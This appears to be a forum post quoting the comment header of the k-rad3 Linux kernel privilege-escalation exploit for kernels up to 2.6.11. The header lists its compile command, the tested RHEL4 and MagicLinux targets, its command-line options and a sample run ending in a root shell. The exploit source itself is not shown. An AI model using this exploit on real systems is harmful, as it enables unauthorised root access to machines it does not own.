كود PHP:
    * gcc -o k-rad3 k-rad3.c -static -O2  
*  
* tested succeed :  
* on default installed RHEL4(2.6.9-5.EL and 2.6.9-5.ELsmp)  
* 2.6.9-5.EL ./k-rad3 -p 2  
* 2.6.9-5.ELsmp ./k-rad3 -a -p 7  
* on default installed maglic linux 1.2  
* MagicLinux 2.6.9 #1 ./k-rad3 -t 1 -p 2  
*  
* thank watercloud tested maglic linux 1.2  
* thank eist provide RHEL4 to test  
* thank sd <sd@fucksheep.org> share his stuff.  
* thank xfocus & xfocuss firends  
*  
*  
* TODO:  
* CASE 1: use stack > 0xc0000000  
* CASE 2: CONFIG_X86_PAE define ,but cpu flag no pse  
*  
*[*****7@MagicLinux ~]$ ./k-rad3 -h  
*[ k-rad3 - <=linux 2.6.11 CPL 0 kernel exploit ]  
*[ Discovered Jan 2005 by sd <sd@fucksheep.org> ]  
*[ Modified 2005/9 by *****7 <*****7@xfocus.org> ]  
*  
*Usage: ./k-rad3  
* -s forced cpu flag pse  
* -a define CONFIG_X86_PAE,default none  
* -e <num> have two kernel code,default 0  
* -p <num> alloc pages(4k) ,default 1. Increase from 1 to 7  
* The higher number the more likely it will crash  
* -t <num> default 0  
* 0 :THREAD_SIZE is 4096;otherwise THREAD_SIZE is 8192  
*  
*[*****7@MagicLinux ~]$ ./k-rad3 -t 1 -p 2  
*[ k-rad3 - <=linux 2.6.11 CPL 0 kernel exploit ]  
*[ Discovered Jan 2005 by sd <sd@fucksheep.org> ]  
*[ Modified 2005/9 by *****7 <*****7@xfocus.org> ]  
*[+] try open /proc/cpuinfo .. ok!!  
*[+] find cpu flag pse in /proc/cpuinfo  
*[+] CONFIG_X86_PAE :none  
*[+] Cpu flag: pse ok  
*[+] Exploit Way : 0  
*[+] Use 2 pages (one page is 4K ),rewrite 0xc0000000--(0xc0002000 + n)  
*[+] thread_size 1 (0 :THREAD_SIZE is 4096;otherwise THREAD_SIZE is 8192  
*[+] idtr.base 0xc0461000 ,base 0xc0000000  
*[+] kwrite base 0xc0000000, buf 0xbffed750,num 8196  
*[+] idt[0x7f] addr 0xffc003f8  
*[+] j00 1u(k7 k1d!  
*[root@k-rad3 ~] #id  
*uid=0(root) gid=0(root) groups=500(*****7) 
    
    
g,;hg v,j ju'd; wghpdhj hgv,j k-rad3